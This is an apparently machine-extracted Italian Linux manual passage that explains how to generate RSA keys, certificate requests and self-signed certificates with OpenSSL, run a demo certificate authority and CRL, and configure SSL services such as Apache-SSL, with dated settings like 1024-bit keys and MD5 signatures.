$ openssl genrsa -des3 -rand file_casuale ←→-out chiave_privata_protetta.pem 1024 [ Invio ]

Enter PEM passphrase: ******** [ Invio ]

Verifying password - Enter PEM pass phrase: ******** [ Invio ]

Volendo riportare la chiave privata in chiaro, si usa il comando‘openssl rsa ’ , in modo simileall’esempio seguente:

$ openssl rsa -in chiave_privata_protetta.pem -outchiave_privata.pem [ Invio ]

Enter PEM passphrase: ******** [ Invio ]

In modo analogo funziona l’operazione di protezione di una chiave; in pratica si aggiungel’opzione attraverso cui si specifica il tipo di algoritmo:

$ openssl rsa -des3 -in chiave_privata.pem -out chiave_privata_protetta.pem

199.2.3 Richiesta di certificazione

Teoricamente, il certificato che identifica e garantisce l’identità del servizio che si gestisce, deveessere fornito da un’autorità di certificazione. In questo caso, per farlo, deve ricevere un docu-mento intermedio, definibile come una richiesta di certificazione. La chiave pubblica che vi vieneinserita si ottiene a partire dalla chiave privata, mentre gli altri dati necessari per il certificato chesi vuole ottenere si inseriscono in modo interattivo. È interessante vedere come avviene:

$ openssl req -new -key chiave_privata.pem -out richiesta.pem [ Invio ]

You are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter ’.’, the field will be left blank.

Country Name (2 letter code) [AU]: IT [ Invio ]

State or Province Name (full name) [Some-State]: Italia [ Invio ]

Locality Name (eg, city) []: Tiziopoli [ Invio ]

Organization Name (eg, company) [Internet Widgits Pty Ltd]: Dinkel [ Invio ]

Page 181: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a OpenSSL 2165

Organizational Unit Name (eg, section) []: . [ Invio ]

Common Name (eg, YOUR name) []: dinkel.brot.dg [ Invio ]

Email address []: [email protected] [ Invio ]

Please enter the following ’extra’ attributesto be sent with your certificate request

A challenge password []: super segretissimo [ Invio ]

An optional company name []: Dinkel [ Invio ]

Le informazioni che si inviano in questo modo sono molto importanti e il significato preciso variaa seconda del contesto per il quale si richiede la certificazione. Sarà l’autorità per la certificazionea stabilire quali informazioni servono precisamente.

Per verificare il contenuto del certificato, che nel suo formato PEM non è leggibile direttamente,si può usare il comando‘openssl req ’ con l’opzione‘ -text ’ :

$ openssl req -text -in richiesta.pem [ Invio ]

Certificate Request:Data:

Version: 0 (0x0)Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg...Subject Public Key Info:

Public Key Algorithm: rsaEncryptionRSA Public Key: (1024 bit)

Modulus (1024 bit):00:ce:0d:cd:08:86:fd:b5:cb:14:56:51:04:73:38:15:77:39:2d:3b:10:17:06:7c:64:0d:69:14:67:cd:

...67:f7:ef:b1:71:af:24:77:64:66:64:0f:85:a6:64:16:c2:69:26:59:0a:d9:4b:8d

Exponent: 65537 (0x10001)Attributes:

unstructuredName :DinkelchallengePassword :super segretissimo

Signature Algorithm: md5WithRSAEncryption8f:25:9f:68:3a:67:4c:6d:e6:eb:52:4a:ca:73:74:47:85:14:ca:d6:6c:6d:24:3b:6c:37:59:ec:f8:fb:0b:a9:74:d6:1c:0f:

...02:60:16:fd:2e:9b:09:af:11:03:82:74:16:ae:57:a7:90:f5:e1:a5

199.2.4 Certificato fittizio

Per generare in proprio il certificato auto-firmato, in modo da attivare ugualmente il servizioanche se non si può dimostrare di essere chi si afferma di essere, si può aggiungere l’opzione‘ -x509 ’ . Anche in questo caso vengono richieste tutte le informazioni già viste.

$ openssl req -new -x509 -key chiave_privata.pem ←→-out richiesta.pem [ Invio ]

In alcuni casi può essere necessario unire la chiave privata, in chiaro, assieme al certificato;questo accade in particolare quando si allestisce unservente HTTPApache-SSL. Di solito lachiave privata non può essere cifrata, perché deve essere letta da un servizio autonomo che nonpuò interrogare un utente. Si deve ottenere una cosa simile a quella seguente:

Page 182: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2166 Introduzione a OpenSSL

-----BEGIN RSA PRIVATE KEY-----MIICXQIBAAKBgQDzUS4vA9NPNGAhHp71jGLk9lyJ6GfFK2R+AtMmWDKWvwhVOA8leY13ouz6XW0ts7s91FYlSTbp0Ed5tLKHZFu8guuza3jzpqFE/wrW/eJ7/RYW0cOZ...+7JyXBGaA4Srn/iw9cUCQQDEr5yuQa426I6psxfvUiK+HKS2kfRBbKKHj2NYh6nvGgMhY9NiG+SGEDfkOw9rIVifb9yXs6f4CajQTb4qVl2X-----END RSA PRIVATE KEY----------BEGIN CERTIFICATE-----MIICMTCCAZoCAQAwDQYJKoZIhvcNAQEEBQAwYTELMAkGA1UEBhMCcXExCzAJBgNVBAgTAnd3MQswCQYDVQQHEwJlZTELMAkGA1UEChMCcnIxCzAJBgNVBAsTAnR0MQsw...3kNqIB5Iun0kdDqdJYQj9G5Ca+dlRCxrPY6bVCnlD3A8+RULjyGrT6D45QtoXKx+quIhIni++XBHqe+RyWBD70XTWvw0+zoyrHNHG96k9eLlPIgHrQ==-----END CERTIFICATE-----

L’aggregazione può essere fatta a mano (attraverso‘cat ’ ), oppure si può utilizzare un comandounico che crea la chiave privata (di dimensione predefinita) e anche il certificato autoprodotto:

$ openssl req -new -x509 -nodes -out certificato.pem ←→-keyout certificato.pem

In questo esempio è stata usata l’opzione‘ -keyout ’ per dirigere la chiave privata nello stessofile del certificato; inoltre, è stata usata l’opzione‘ -nodes ’ per evitare la protezione della chiaveche in questi casi deve essere usata in chiaro.

Come verrà mostrato anche in seguito, il file del certificato, con o senza la chiave privata acclu-sa, deve essere raggiungibile attraverso un nome corrispondente al suocodice di controllo, conl’aggiunta dell’estensione‘ .0 ’ . Questo valore si ottiene con un comando simile a quello che sivede:

$ openssl x509 -hash -noout -in certificato.pem

Per generare uncollegamento simbolico come si fa di solito, si potrebbe usare il comandoseguente:

$ ln -s certificato.pem ‘openssl x509 -hash -noout ←→-in certificato.pem‘.0

199.3 Cenni sulla configurazione di OpenSSL

La configurazione diOpenSSL si attua normalmente attraverso il file‘openssl.cnf ’ , che po-trebbe trovarsi collocato nella directory‘ /etc/ssl/ ’ . Osservandone il contenuto, si intuisce cheil simbolo ‘#’ serve a introdurre un commento, fino alla fine della riga relativa; inoltre si com-prende che le righe vuote e quelle bianche vengono ignorate come i commenti; infine, si vedeche le direttive del file sono degli assegnamenti a variabili, che se necessario si espandono conil prefisso‘$’ , e le direttive sono raggruppate in sezioni individuabili da un titolo tra parentesiquadre.

È importante osservare che le sezioni sono organizzate in modo gerarchico, a partire dai nomi deicomandi diOpenSSL. In pratica, per il comando‘openssl req ’ si prende in considerazione lasezione‘ [ req ] ’ , che poi può a sua volta richiamare altre sottosezioni.

Dal momento che è già stato mostrato in che modo si ottiene una richiesta di certificato, attraversoil comando‘openssl req ’ , vale la pena di dare un’occhiata a un estratto della configurazionerelativa, per comprendere un po’ meglio come leggere questo file.

Page 183: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a OpenSSL 2167

[ req ]default_bits = 1024default_keyfile = privkey.pemdistinguished_name = req_distinguished_nameattributes = req_attributesx509_extensions = v3_ca # The extentions to add to the self signed cert

[ req_distinguished_name ]countryName = Country Name (2 letter code)countryName_default = AUcountryName_min = 2countryName_max = 2

stateOrProvinceName = State or Province Name (full name)stateOrProvinceName_default = Some-State

localityName = Locality Name (eg, city)

È importante osservare che alcune variabili vengono assegnate con il nome di una sottosezione; inquesto caso si tratta in particolare di‘distinguished_name ’ a cui viene attribuita la sottosezio-ne ‘ [ req_distinguished_name ] ’ , all’interno della quale vengono definite le informazioniche sono richieste in fase di costruzione del certificato.

Nelle prossime sezioni verrà mostrato come simulare la gestione di un’autorità di certificazioneattraversoOpenSSL. Il file di configurazione standard dovrebbe essere neutro rispetto a questoproblema, incorporando una sezione‘ [ ca ] ’ particolare, utile per fare delle prove:

[ ca ]default_ca = CA_default # The default ca section

####################################################################[ CA_default ]

dir = ./demoCA # Where everything is keptcerts = $dir/certs # Where the issued certs are keptcrl_dir = $dir/crl # Where the issued crl are keptdatabase = $dir/index.txt # database index file.new_certs_dir = $dir/newcerts # default place for new certs.

certificate = $dir/cacert.pem # The CA certificateserial = $dir/serial # The current serial numbercrl = $dir/crl.pem # The current CRLprivate_key = $dir/private/cakey.pem# The private keyRANDFILE = $dir/private/.rand # private random number file

È importante osservare che la sezione‘ [ ca ] ’ contiene una sola direttiva,‘default_ca ’ , conla quale si specifica la sottosezione da prendere in considerazione. In questo caso, la sottosezioneè denominata‘ [ CA_default ] ’ e viene mostrata solo in parte. Si intende che, volendo farele cose sul serio, è sufficiente ricopiare la sottosezione‘ [ CA_default ] ’ , anche più volte,attribuendogli nomi differenti, modificando eventualmente la direttiva‘default_ca ’ in mododa selezionare la sottosezione preferita.

Per il momento è bene osservare che con la direttiva‘dir ’ viene definita una variabile, che poiviene presa in considerazione di nuovo, espandendola con l’aggiunta del prefisso‘$’ (‘$dir ’), neivalori da assegnare ad altre variabili. Questa variabile serve a definire la directory di partenza apartire dalla quale vanno collocati una serie di file che riguardano l’amministrazione dell’autoritàdi certificazione. Inizialmente, viene indicata una directory che appare volutamente improbabile,‘ ./demoCA/ ’ , proprio per fare capire che prima di lavorare sul serio occorre pensarci bene emettere mano alla configurazione. Comunque, per le simulazioni che si vogliono mostrare, va-le la pena di creare le directory‘ ./demoCA/certs/ ’ , ‘ ./demoCA/newcerts/ ’ , ‘ ./demoCA/

crl/ ’ e ‘ ./demoCA/private/ ’ , o altre directory equivalenti in base alla propria configurazione

Page 184: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2168 Introduzione a OpenSSL

effettiva.

199.3.1 Politica dell’autorità di certificazione

Nella sezione che descrive il funzionamento del comando‘openssl ca ’ , deve apparire anchel’indicazione del tipo di politica che l’autorità di certificazione intende attuare per rilasciare icertificati. Naturalmente, quello che può essere definito qui è solo qualche aspetto che riguar-da la definizione delnome distintivo del titolare. Quello che segue è un altro estratto del fi-le di configurazione in cui si vede l’assegnamento del nome di una sottosezione alla variabile‘policy ’ .

policy = policy_match

# For the CA policy[ policy_match ]countryName = matchstateOrProvinceName = matchorganizationName = matchorganizationalUnitName = optionalcommonName = suppliedemailAddress = optional

[ policy_anything ]countryName = optionalstateOrProvinceName = optionallocalityName = optionalorganizationName = optionalorganizationalUnitName = optionalcommonName = suppliedemailAddress = optional

In questo caso, la sottosezione‘ [ policy_match ] ’ specifica che i campi del paese, della re-gione e dell’organizzazione, devono corrispondere con gli stessi dati del certificato della stessaautorità di certificazione. In pratica, questo servirebbe a limitare l’accesso all’autorità soltanto achi appartiene alla stessa area e anche alla stessa organizzazione (ciò fa pensare a un’autorità dicertificazione aziendale, competente solo nell’ambito della propria azienda). Per il resto, solo ilcampo CN deve essere fornito, mentre gli altri sono facoltativi.

Sotto alla sottosezione appena descritta, appare anche un’altra sottosezione simile, con il nome‘ [ policy_anything ] ’ , in cui verrebbe concesso quasi tutto, a parte l’obbligo di fornire ilCN.

199.4 Simulazione dell’allestimento e del funzionamentodi un’autorità di certificazione

L’utilizzo di OpenSSL per la gestione di un’autorità di certificazione richiede la conoscenza dimolti dettagli sul funzionamento di questo sistema. In generale, il file di configurazione predefini-to consente di ottenere delle richieste di certificati o di generare dei certificati fittizi auto-firmati.In questo gruppo di sezioni si vuole mostrare schematicamente l’uso diOpenSSL nella gestionedi un’autorità di certificazione, anche con qualche esempio, ma senza l’intenzione di arrivare aottenere dei certificati realistici.

Page 185: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a OpenSSL 2169

199.4.1 Autorità di certificazione autonoma

La creazione di un’autorità di certificazione autonoma, ovvero di un’autorità principale (root),che non abbia ottenuto a sua volta un certificato da un’autorità di livello superiore, deve rea-lizzare la sua chiave privata e il suo certificato auto-firmato. Diversamente, se dipendesse dallacertificazione di un’altra autorità, dovrebbe predisporre la propria richiesta, sottoporla all’autoritàsuperiore da cui dovrebbe ottenere il certificato.

Viene mostrato nuovamente il procedimento necessario per creare la chiave privata. In questocaso si fa riferimento alla porzione di configurazione che è stata mostrata in precedenza, dovetutti i file utilizzati si articolano a partire dalla directory‘ ./demoCA/ ’ . In particolare, si supponeche‘ ./demoCA/private/.rand ’ sia un file contenente informazioni casuali:

$ openssl genrsa -des3 -out ./demoCA/private/cakey.pem ←→-rand ./demoCA/private/.rand

Ecco che in questo modo si ottiene la chiave privata nel file‘ ./demoCA/private/cakey.pem ’ ,cifrata con l’algoritmo DES-triplo. Il certificato auto-firmato viene generato con il comandoseguente, con il quale si ottiene il file‘ ./demoCA/cacert.pem ’ :

$ openssl req -new -x509 -days 730 -key ./demoCA/private/cakey.pem ←→-out ./demoCA/cacert.pem

Si osservi in particolare che è stato indicato espressamente il periodo di validità del certificato,in 730 giorni, pari a due anni. La visualizzazione del contenuto del certificato si può fare con ilcomando seguente:

$ openssl x509 -text -in ./demoCA/cacert.pem

Il certificato, in quanto tale, va conservato anche nella directory destinata a contenere la copia diquelli che verranno rilasciati in qualità di autorità di certificazione. Dal pezzo di configurazio-ne mostrato in precedenza, la directory in questione è‘ ./demoCA/certs/ ’ . Questi file devonoavere un nome che inizia con il loro numero di serie; dal momento che il numero del certifi-cato dell’autorità stessa è il numero zero, il file deve chiamarsi obbligatoriamente‘ ./demoCA/

certs/00.pem ’ :

$ cp ./demoCA/cacert.pem ./demoCA/certs/00.pem

Inoltre, i file in quella directory devono essere abbinati, ognuno, a un collegamento simbolicoche esprime ilcodice di controllo del file stesso, più l’estensione‘ .0 ’ :

$ cd ./demoCA/certs

$ ln -s 00.pem ‘openssl x509 -hash -noout -in 00.pem‘.0

199.4.2 Rilascio di certificazioni

Per le operazioni di rilascio dei certificati, ovvero della firma di questi a partire dai file di richiestarelativi, occorre prendere confidenza con l’uso di alcuni file, contenenti rispettivamente l’indicedei certificati rilasciati e il numero di serie successivo che potrà essere utilizzato. Come è già statospiegato in un altro capitolo, i certificati rilasciati da un’autorità di certificazione hanno un nume-ro seriale progressivo; in base al pezzo di configurazione mostrato in precedenza, questo numeroviene conservato nel file‘demoCA/serial ’ . Il numero in questione viene annotato secondo unanotazione esadecimale, tradotta in caratteri normali, ma senza alcun prefisso. In pratica, dopoaver predisposto il certificato della stessa autorità, occorre mettere in questo file la riga seguente,conclusa da uncodice di interruzione di riga finale e nulla altro:

Page 186: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2170 Introduzione a OpenSSL

01

La creazione dei certificati incrementerà automaticamente questo numero;2 inoltre, se non verràspecificato il file da creare, si otterrà direttamente un file corrispondente al suo numero di serie,con l’aggiunta dell’estensione consueta, collocato nella directory prevista per l’accumulo prov-visorio: ‘demoCA/newcerts/ ’ nel caso della configurazione di esempio a cui si continua a fareriferimento.

La creazione di un certificato aggiorna anche il file che ne contiene l’indice, che potrebbe essere‘demoCA/index.txt ’ . Inizialmente, dopo la creazione del certificato dell’autorità stessa, questoindice è semplicemente un file vuoto; con la creazione dei certificati successivi, viene aggiuntauna riga per ognuno di questi, che va intesa come unrecord suddiviso in campi separati da uncarattere di tabulazionesingolo. Viene mostrato subito l’esempio delrecord relativo a un primocertificato (diviso in due righe per motivi tipografici):

V 001213190753Z 01 unknown ←→/C=IT/ST=Italia/O=Dinkel/CN=dinkel.brot.dg/[email protected]

Nell’esempio non si vede, ma c’è un terzo campo nullo prima del valore‘01 ’ . I campi hanno ilsignificato seguente:

1. lo stato del certificato, attraverso una lettera: «R», revocato, «E», scaduto, «V», valido;

2. la data di scadenza, scritta attraverso una stringa di cifre numeriche terminate da una lettera«Z» maiuscola, dove le coppie di cifre rappresentano rispettivamente: anno, mese, giorno,ore, minuti, secondi (‘ AAMMGGHHMMSSZ’);

3. la data di revoca del certificato, scritta esattamente come nel caso del secondo campo,solitamente assente, a indicare che il certificato è ancora valido;

4. il numero di serie in esadecimale;

5. la collocazione del certificato (attualmente si tratta sempre della parola chiave‘unknown ’);

6. i dati del titolare del certificato, ovvero ilnome distintivo e l’indirizzo di posta elettronicadi questo.

La creazione, ovvero la firma di un certificato si ottiene con il comando‘openssl ca ’ , fornendoin particolare il file contenente la richiesta. Per esempio, se si vuole accettare la richiesta costituitadal file ‘ richiesta.pem ’ , si potrebbe agire nel modo seguente:

$ openssl ca -in richiesta.pem

Avendo indicato esclusivamente il nome del file che contiene la richiesta, le altre informazionisono state prese dalla configurazione. In base a quanto previsto dall’esempio mostrato inizial-mente, per la firma è stata usata la chiave contenuta nel file‘demoCA/private/cakey.pem ’ ,il file del certificato è stato creato nella directory‘demoCA/newcerts/ ’ , con un nome corri-spondente al suo numero di serie e con la solita estensione‘ .pem ’ , ma soprattutto, è stata usatala sezione predefinita nel file di configurazione, ovvero‘ [ CA_default ] ’ . Volendo dichiararetutto in modo esplicito, lo stesso comando avrebbe dovuto essere espresso nel modo seguente:

$ openssl ca -name CA_default -keyfile demoCA/private/cakey.pem ←→-in richiesta.pem -out demoCA/newcerts/‘cat demoCA/serial‘

Questo comando richiede alcune conferme:2È importante ribadire che se questo file contiene il valoren, l’ultimo certificato che è stato creato è quello

corrispondente al numeron- 1.

Page 187: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a OpenSSL 2171

Using configuration from /usr/lib/ssl/openssl.cnfCheck that the request matches the signatureSignature okThe Subjects Distinguished Name is as followscountryName :PRINTABLE:’IT’stateOrProvinceName :PRINTABLE:’Italia’localityName :PRINTABLE:’Tiziopoli’organizationName :PRINTABLE:’Dinkel’commonName :PRINTABLE:’dinkel.brot.dg’emailAddress :IA5STRING:’[email protected]’Certificate is to be certified until Dec 13 19:28:38 2000 GMT (365 days)

Sign the certificate? [y/n]: y [ Invio ]

1 out of 1 certificate requests certified, commit? [y/n]: y [ Invio ]

...Data Base Updated

Una volta creato un certificato nel modo descritto, questo va collocato nella sua posizione defi-nitiva, che in questo caso è la directory‘demoCA/certs/ ’ , dove va creato il solitocollegamentosimbolico che rappresenta il suocodice di controllo (come è già stato mostrato più volte).

199.4.3 Revoca dei certificati

Se si incontra la necessità di revocare dei certificati prima della loro scadenza normale, si devepubblicare un elenco di revoca, o CRL (Certificate revocation list). Questo elenco si produce conOpenSSL a cominciare dalla modifica del file contenente l’elenco dei certificati (‘ ./demoCA/

index.txt ’), sostituendo la lettera «V» con la lettera «R» e inserendo la scadenza anticipatanel terzo campo. L’esempio seguente mostra il caso di due certificati che vengono revocati primadella scadenza:

R 001213192838Z 000113192840Z 01 unknown /C=IT/ST=Italia/ ...

R 001213202243Z 000113192840Z 02 unknown /C=IT/ST=Italia/ ...

Successivamente, basta usare il comando‘openssl ca ’ , con l’opzione‘ -gencrl ’ :

$ openssl ca -gencrl -out ./demoCA/crl/crl.pem

Con questo esempio, viene creato il file‘ ./demoCA/crl/crl.pem ’ , contenente questo elencodi revoca, il cui contenuto può essere riletto con il comando seguente:

$ openssl crl -text -in ./demoCA/crl/crl.pem

Certificate Revocation List (CRL):Version 1 (0x0)Signature Algorithm: md5WithRSAEncryptionIssuer: /C=IT/ST=Italia/L=Treviso/O=Dinkel/CN=dinkel.brot.dg...Last Update: Jan 15 20:35:52 2000 GMTNext Update: Feb 14 20:35:52 2000 GMT

Revoked Certificates:Serial Number: 01

Revocation Date: Jan 13 19:28:40 2000 GMTSerial Number: 02

Revocation Date: Jan 13 19:28:40 2000 GMTSignature Algorithm: md5WithRSAEncryption

32:e1:97:92:96:2f:0c:e4:df:bb:9c:82:a5:e3:5b:51:69:f5:51:ad:1b:b2:98:eb:35:a6:c8:7f:d9:29:1f:b2:1e:cc:da:84:

...31:27:4a:21:4c:7a:bc:85:73:cd:ff:15:9d:cb:81:b3:0b:82:73:50

Page 188: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2172 Introduzione a OpenSSL

199.4.4 Conversione nei formati

In generale, conOpenSSL si lavora con file (richieste, certificati, elenchi di revoca, ecc.) in for-mato PEM, che è in pratica una forma compatta dei dati, utilizzando però solo il codice ASCII a7 bit. Ci sono situazioni in cui è necessario convertire questo formato in un altro, oppure è neces-sario acquisire dei dati da un formato diverso dal solito. In generale, quando si usano comandiche possono ricevere dati in ingresso, o quando si devono generare dati in uscita, sempre relativia certificati e affini, si possono usare rispettivamente le opzioni‘ -inform ’ e ‘ -outform ’ , seguitedalla sigla del formato (non sono disponibili sempre tutti). Vengono mostrati alcuni esempi.

$ openssl x509 -in certificato.pem -outform der -out certificato.der

In questo modo si ottiene la conversione del certificato‘certificato.pem ’ nel file‘certificato.der ’ , che risulta in formato DER (binario).

$ openssl crl -in crl.pem -outform der -out crl.der

Converte l’elenco di revoca‘crl.pem ’ in formato DER, nel file‘crl.der ’ .

199.5 Riferimenti

• OpenSSL

<http://www.openssl.org>

• SSL-Apache/OpenSSL/SSLeay Handbücher, DFN-PCA, 2000

<http://www.dfn- pca.de/certify/ssl/handbuch/>

• R. Housley, W. Ford, W. Polk, D. Solo,RFC 2459: Internet X.509 Public Key Infrastructure-- Certificate and CRL Profile1999

<http://www.cis.ohio- state.edu/cgi- bin/rfc/rfc2459.html>

<http://www.cis.ohio- state.edu/cs/Services/rfc/rfc- text/rfc2459.txt>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 189: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 200

Applicazioni che usano OpenSSLAlcune versioni di applicazioni comuni che hanno a che fare con la comunicazione di dati, incor-porano le funzionalità crittografiche di certificazione e crittografia SSL/TLS, in particolare quelleche utilizzano proprio le librerieOpenSSL. Si tratta normalmente di versioni parallele a quelle«standard», che restano tali a causa delle leggi USA che limitano la distribuzione di softwarecrittografico. Se la propria distribuzione GNU/Linux non dispone dei pacchetti relativi a questiprogrammi in versione SSL, si rischia di dovere provvedere da soli compilando i sorgenti, dopoche questi sono stati ottenuti da siti che si trovano al di fuori degli USA.

Per fortuna, per alcune di queste applicazioni c’è poco da aggiungere. In questo capitolo siraccolgono le sole informazioni necessarie per poterle utilizzare.

Oltre alle applicazioni predisposte per il protocollo SSL/TLS, si aggiungono dei programmi chefungono daproxy TCP,1 per dare queste funzionalità ai servizi che non le hanno già. Tuttavia,proprio perché intervengono solo a livello del protocollo TCP, può essere impossibile l’utilizzodi questi quando il protocollo finale prevede l’apertura di connessioni aggiuntive attraverso portenon prestabilite. In pratica, diventa impossibile il loro uso per servizi FTP.

200.1 Aggiornare l’elenco dei servizi

Le varianti SSL/TLS dei servizi più comuni, prevedono porte di comunicazione diverse da quel-le standard. In particolare, se il proprio file‘ /etc/services ’ non è già stato predisposto, ènecessario aggiungere le righe seguenti, dove i commenti sono ovviamente opzionali:

https 443/tcp # http TLS/SSLhttps 443/udpssmtp 465/tcp # smtp TLS/SSLssmtp 465/udpnntps 563/tcp # nttp TLS/SSLnntps 563/udptelnets 992/tcp # telnet TLS/SSLtelnets 992/udpimaps 993/tcp # imap4 TLS/SSLimaps 993/udpircs 994/tcp # irc TLS/SSLircs 994/udppop3s 995/tcp # POP3 TLS/SSLpop3s 995/udpftps-data 989/tcp # ftp TLS/SSLftps-data 989/udpftps 990/tcp # ftp TLS/SSLftps 990/udp

È proprio l’utilizzo di queste porte che fa intendere ai servizi in ascolto che si intende instaurareuna connessione protetta. Per fare un esempio comune, il fatto di utilizzare un URI che iniziper https:// implica la richiesta di utilizzare un tunnel SSL/TLS per la certificazione e lacrittografia, al contrario di un URIhttp:// normale; inoltre, nello stesso modo, il protocolloHTTPS è precisamente il protocollo HTTP nel tunnel SSL/TLS.

1Qui si intende unproxy che non conosca il protocollo utilizzato effettivamente dal servizio che viene ridiretto, aparte la gestione TCP pura e semplice.

2173

Page 190: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2174 Applicazioni che usano OpenSSL

200.2 Opzioni comuni

Di solito, le applicazioni che incorporano le funzionalità SSL attraverso le librerie diOpenSSL,consentono l’uso dell’opzione‘ -z ’ , alla quale va aggiunto un argomento. La tabella200.1mostrasinteticamente l’uso di questa opzione aggiuntiva.

Figura 198.1. Alcune opzioni comuni ai programmi che usano le librerie di OpenSSL.

Opzione Descrizione

-z ssl Utilizza esclusivamente il protocollo SSL.

-z secure Se fallisce la negoziazione SSL non passa a una connessionenormale.

-z verify= n Definisce il livello di verifica della certificazione.-z cert= file Definisce il file contenente il certificato.-z key= file Definisce il file contenente la chiave privata RSA.-z cipher= elenco Definisce l’elenco di algoritmi crittografici preferiti.

200.3 Certificati dei servizi

In generale, per attivare un servizio che consente l’utilizzo del protocollo SSL, occorre che que-sto disponga di una chiave privata e di un certificato. In particolare, il certificato dovrebbe essereottenuto da un’autorità di certificazione, ma in mancanza di questo lo si può creare in proprio. Iprogrammi in questione, dal momento che offrono un servizio in modo autonomo, hanno la ne-cessità di accedere alla chiave privata, senza poter interrogare l’amministratore. Di conseguenza,tale chiave non può essere protetta e di solito viene creato un file unico sia per la chiave privata,sia per il certificato.

Il file contenente il certificato e la chiave, ha solitamente un nome corrispondente a quello dell’ap-plicazione, con l’aggiunta dell’estensione‘ .pem ’ , collocato normalmente nella directory‘ /etc/

ssl/certs/ ’ , o in un’altra simile. Supponendo che la directory da utilizzare sia proprio questa,si può generare in proprio il certificato dell’applicazione «prova», incorporando anche la chiaveprivata, nel modo seguente:

# cd /etc/ssl/certs

# openssl req -new -x509 -nodes -out prova.pem -keyout prova.pem

# chmod 600 prova.pem

# ln -s prova.pem ‘openssl x509 -noout -hash -in prova.pem‘.0

Dal momento che deve essere creata una chiave privata non protetta, altrimenti il servizio nonpotrebbe funzionare, il file che si genera non deve avere alcun permesso di accesso per gli utentiestranei, esattamente come si vede nell’esempio.

Dal momento che si tratta di un certificato che serve a identificare un servizio, il campo CNdeve contenere il nome di dominio completo attraverso il quale vi si accede.

Di solito, la directory in cui vengono collocati i certificati di questi servizi, non dipende dallaconfigurazione diOpenSSL. In effetti, a parte il problema di crearli, questi vengono poi ge-stiti dai servizi stessi: saranno questi che eventualmente devono essere configurati per poterritrovare i loro certificati.

Page 191: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Applicazioni che usano OpenSSL 2175

200.4 Apache-SSL

Su Apache esistono già diversi capitoli; in particolare il capitolo160. In questa sezione si vo-gliono mostrare solo alcuni particolari che riguardanoApache-SSL,2 ovvero quella versione checontiene le estensioni offerte daOpenSSL.

200.4.1 Installazione e configurazione di Apache-SSL

Quando si installaApache-SSL occorre provvedere prima a disinstallare, o almeno disattivare, ilserventeApache normale, o altroservente HTTP. Convenzionalmente, i file di configurazione diApache-SSL non dovrebbero andare a sovrapporsi a quelli della versione normale diApache: incondizioni normali potrebbe trattarsi della directory‘ /etc/apache-ssl/ ’ .

In questa directory si trovano i file di configurazione consueti:‘access.conf ’ , ‘httpd.conf ’e ‘srm.conf ’ . Oltre a questi, deve essere creato il file contenente la chiave privata e il certificatoche serve al servizio per potersi identificare nei confronti deiclienti: ‘httpsd.pem ’ , oppure‘apache.pem ’ , o un altro nome in base alla configurazione.

Questo file, a meno di averlo ottenuto da un’autorità di certificazione, deve essere creato in pro-prio. Dovrebbe essere lo stesso sistema di installazione che si occupa di crearlo; in alternativa,disponendo dei sorgenti, si ottiene con il comando‘make certificate ’ , oppure nel modo giàvisto in questo capitolo, tenendo conto che di solitoApache-SSL si aspetta di trovarlo nella stes-sa directory in cui si trovano gli altri file di configurazione (basta controllare il contenuto di‘httpd.conf ’ per determinare il nome di questo file e la sua collocazione).

Le novità della configurazione diApache-SSL riguardano il file‘httpd.conf ’ e nel seguitovengono descritte brevemente solo le direttive più importanti riferite alle connessioni SSL.

ServerType standalone

Allo stato attuale,Apache-SSL può funzionare solo in modo indipendente dalsupervisore deiservizi di rete, per cui la direttiva‘ServerType standalone ’ è obbligatoria.

Apache-SSL deve essere in grado di comunicare sia in chiaro, sia in modo cifrato. La distinzioneavviene in base all’uso delle porte. In condizioni normali, la porta 80 è quella usata di consuetoper le connessioni normali, mentre la porta 443 è riservata per le comunicazioni cifrate.

Port 80

Come si vede nell’esempio, viene abilitata espressamente la porta 80; in seguito, con la direttiva‘Listen ’ , viene esteso l’ascolto anche alla porta 443.

Listen 80Listen 443

